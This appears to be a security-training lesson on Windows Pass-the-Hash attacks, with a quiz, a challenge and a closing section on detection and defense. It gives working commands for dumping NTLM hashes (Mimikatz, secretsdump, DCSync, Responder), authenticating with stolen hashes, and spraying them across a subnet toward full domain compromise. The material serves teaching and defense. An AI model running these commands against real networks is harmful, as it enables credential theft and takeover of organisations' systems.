Pass-the-Hash Attacks

intermediate30 minWriteup

Using NTLM hashes without cracking

Learning Objectives

  • Understand pass-the-hash
  • Extract NTLM hashes
  • Use hashes for authentication
  • Move laterally with hashes

Pass-the-Hash (PtH) is one of the oldest and most devastating Windows attacks. NTLM authentication doesn't need your password - just the hash. If you steal the hash, you ARE that user for any NTLM authentication.

It's like having a mold of someone's key. You don't need the original key or know how it was cut - the mold (hash) opens all the same locks. Microsoft has tried to kill NTLM for 20 years, but it's still everywhere for backward compatibility.

NTLM Won't Die

Even modern Windows environments use NTLM as a fallback. As long as NTLM exists, Pass-the-Hash remains viable. It's disabled by default nowhere.

How Pass-the-Hash Works

1Normal NTLM Authentication:
21. Client: 606070;">#a5d6ff;">"I want to authenticate as Administrator"
32. Server: 606070;">#a5d6ff;">"Here's a random challenge: 0x1234567890"
43. Client: Encrypts challenge with NTLM hash of password
54. Server: Verifies by doing same encryption, comparing results
6 
7Pass-the-Hash Attack:
81. Attacker has Administrator's NTLM hash (from LSASS, SAM, etc.)
92. Attacker: 606070;">#a5d6ff;">"I want to authenticate as Administrator"
103. Server: 606070;">#a5d6ff;">"Here's a challenge: 0x1234567890"
114. Attacker: Encrypts challenge using stolen hash
125. Server: 606070;">#a5d6ff;">"Valid! Come on in!"
13 
14The password is NEVER sent or needed.
15Only the hash matters for NTLM.

Hash = Password Equivalent

For NTLM authentication, the hash IS the password. You don't need to crack it - just use it directly. This is by design in the NTLM protocol.

Obtaining NTLM Hashes

From LSASS Memory

1606070;"># Mimikatz - Most common method
2privilege::debug
3sekurlsa::logonpasswords
4 
5606070;"># Output includes:
6606070;"># * Username: Administrator
7606070;"># * Domain: CORP
8606070;"># * NTLM: a9b30e5bxxxxxxxxxxxxxxxxxxxxxxxx
9 
10606070;"># Dump specific credentials
11sekurlsa::msv 606070;"># NTLM hashes only
12sekurlsa::wdigest 606070;"># Plaintext passwords (old systems)
13sekurlsa::kerberos 606070;"># Kerberos tickets

From SAM Database

bash
1606070;"># Local accounts only (not domain accounts)
2 
3606070;"># Mimikatz
4lsadump::sam
5 
6606070;"># Impacket secretsdump (local)
7secretsdump.py -sam SAM -system SYSTEM LOCAL
8 
9606070;"># Remote (requires admin)
10secretsdump.py corp.local/admin:password@target
11 
12606070;"># CrackMapExec
13crackmapexec smb target -u admin -p password --sam

From NTDS.dit (Domain)

bash
1606070;"># Contains ALL domain account hashes!
2 
3606070;"># DCSync (if you have rights)
4secretsdump.py corp.local/admin:password@dc.corp.local
5 
6606070;"># From extracted NTDS.dit
7secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
8 
9606070;"># Output format:
10606070;"># Administrator:500:aad3b435b51404eeaad3b435b51404ee:a9b30e5b...:::

From Network Traffic

bash
1606070;"># Responder - Capture NTLMv2 hashes
2responder -I eth0 -wrf
3 
4606070;"># LLMNR/NBT-NS poisoning captures:
5606070;"># user::CORP:1122334455667788:ABC123...
6 
7606070;"># Note: NTLMv2 hashes need cracking before PtH
8606070;"># But captured NTLMv1 can sometimes be used directly

Using Hashes

Impacket Suite

bash
1606070;"># PsExec with hash
2psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:a9b30e5b... Administrator@target
3 
4606070;"># WMI execution
5wmiexec.py -hashes :a9b30e5b... Administrator@target
6 
7606070;"># SMBExec
8smbexec.py -hashes :a9b30e5b... Administrator@target
9 
10606070;"># Note: You can use just the NT hash (after the colon)
11606070;"># LM hash is usually empty (aad3b435...) or can be omitted

CrackMapExec

bash
1606070;"># Spray hash across network
2crackmapexec smb 192.168.1.0/24 -u Administrator -H a9b30e5b...
3 
4606070;"># Execute command
5crackmapexec smb target -u Administrator -H a9b30e5b... -x 606070;">#a5d6ff;">"whoami"
6 
7606070;"># Dump more hashes
8crackmapexec smb target -u Administrator -H a9b30e5b... --sam
9crackmapexec smb target -u Administrator -H a9b30e5b... --lsa

Mimikatz

1606070;"># Pass-the-Hash and spawn new process
2sekurlsa::pth /user:Administrator /domain:corp.local \
3 /ntlm:a9b30e5bxxxxxxxxxxxxxxxxxxxxxxxx /run:cmd.exe
4 
5606070;"># New cmd.exe runs as Administrator for NTLM auth
6606070;"># From that cmd, access resources:
7dir \\target\c$
8psexec.exe \\target cmd.exe

Evil-WinRM

bash
1606070;"># WinRM with hash (if WinRM enabled)
2evil-winrm -i target -u Administrator -H a9b30e5b...

Format Matters

Impacket uses LM:NT format (aad3b435...:a9b30e5b...). CME uses just NT. Mimikatz uses just NT. Know your tool's expected format.

Attack Scenarios

Scenario 1: Local Admin Spraying

bash
1606070;"># Common scenario: Same local admin password everywhere
2 
3606070;"># Extract hash from one machine
4secretsdump.py corp.local/user:password@workstation1
5 
6606070;"># Found: Administrator:500:...:a9b30e5b...
7 
8606070;"># Spray across network
9crackmapexec smb 192.168.1.0/24 -u Administrator -H a9b30e5b...
10 
11606070;"># Results show where that hash works
12606070;"># SMB 192.168.1.10 445 WS01 [+] Administrator a9b30e5b... (Pwn3d!)
13606070;"># SMB 192.168.1.11 445 WS02 [+] Administrator a9b30e5b... (Pwn3d!)
14606070;"># SMB 192.168.1.12 445 WS03 [-] Administrator a9b30e5b... (different hash)

Scenario 2: Domain Admin Hash

bash
1606070;"># You extracted DA hash from a workstation
2 
3606070;"># Access Domain Controller
4psexec.py -hashes :DA_HASH corp.local/Administrator@dc.corp.local
5 
6606070;"># DCSync all hashes
7secretsdump.py -hashes :DA_HASH corp.local/Administrator@dc.corp.local
8 
9606070;"># Game over - you have all domain credentials

Scenario 3: Lateral Movement Chain

1Attack Path:
21. Compromise Workstation A, get local admin hash
32. Spray hash, find it works on Workstation B
43. PtH to Workstation B, find DA logged in
54. Extract DA hash from Workstation B's LSASS
65. PtH to Domain Controller with DA hash
76. Full domain compromise
8 
9Each hop uses Pass-the-Hash for movement.

Limitations & Workarounds

1PtH Limitations:
2├── Only works with NTLM authentication
3│ └── Kerberos auth requires tickets (use PtT)
4├── Remote UAC restricts remote admin access
5│ └── Only RID 500 (built-in Admin) bypasses by default
6├── NTLM might be blocked/monitored
7│ └── Try Kerberos alternatives
8└── Credential Guard protects hashes
9 └── Need to find unprotected machines
10 
11UAC Remote Restriction:
12- LocalAccountTokenFilterPolicy = 0 (default)
13- Only built-in Administrator (RID 500) can remote admin
14- Other local admins get filtered token over network
15 
16Workaround: Use RID 500 account or change policy

Checking for Restrictions

powershell
1606070;"># Check if remote UAC filtering is disabled
2reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
3 
4606070;"># If not present or 0 = filtered (only RID 500 works remote)
5606070;"># If 1 = any local admin can remote admin
6 
7606070;"># Check if account is RID 500
8wmic useraccount where name=606070;">#a5d6ff;">'Administrator' get sid

NTLM vs NTLMv2

1Hash Types:
2├── LM Hash
3│ ├── Legacy, very weak
4│ ├── Disabled by default since Vista
5│ └── Shows as aad3b435b51404eeaad3b435b51404ee when empty
6├── NTLM (NT) Hash
7│ ├── MD4 of password (no salt!)
8│ ├── Static - same password = same hash
9│ └── Used directly in PtH
10└── NTLMv1/v2 Response
11 ├── Challenge-response authentication
12 ├── Contains timestamp/nonce
13 └── Must be cracked to get NT hash for PtH
14 
15For Pass-the-Hash, you need the static NT hash.
16Captured NTLMv2 responses must be cracked first.

Captured vs Dumped

Hashes dumped from memory/SAM are static NT hashes (ready for PtH). Hashes captured from network are NTLMv2 responses (need cracking).

Detection & Defense

1Detection:
2├── Event ID 4624 - Logon Type 3 (Network) with NTLM
3├── Event ID 4625 - Failed NTLM logons (spraying)
4├── Event ID 4776 - NTLM authentication
5├── Source != destination anomalies
6├── Admin logons to unusual machines
7└── High volume of NTLM from single source
8 
9Defense:
10├── Disable NTLM where possible
11│ └── Network security: Restrict NTLM GPO
12├── Use Protected Users group
13│ └── Forces Kerberos, no NTLM
14├── Enable Credential Guard
15│ └── Virtualizes credential storage
16├── LAPS for local admin passwords
17│ └── Unique passwords = no spraying
18├── Privileged Access Workstations (PAW)
19│ └── Isolate admin credentials
20└── Monitor for NTLM usage

LAPS is Critical

Local Administrator Password Solution (LAPS) gives each computer a unique local admin password. This prevents one compromised hash from working everywhere - the #1 defense against PtH spraying.

Pass-the-Hash Methodology

Pass-the-Hash Attack Flow

1
Obtain AccessGet local admin on initial target
2
Dump HashesExtract from LSASS, SAM, or NTDS
3
Identify TargetsFind where hashes might work
4
SprayTest hash across multiple targets
5
AccessPtH to successful targets
6
RepeatExtract more hashes, expand access

Knowledge Check

Quick Quiz
Question 1 of 3

Why does Pass-the-Hash work?

Challenges

Hash Spray

Challenge
🔥 intermediate

Extract the local administrator hash from a compromised workstation and determine how many other machines in the network share the same password.

Need a hint? (4 available)

Key Takeaways

  • NTLM uses hash directly - password not needed
  • Dump hashes from LSASS, SAM, or NTDS.dit
  • Spray hashes to find reused passwords
  • Remote UAC may limit non-RID-500 accounts
  • LAPS prevents hash spraying for local admin
  • Credential Guard protects hash storage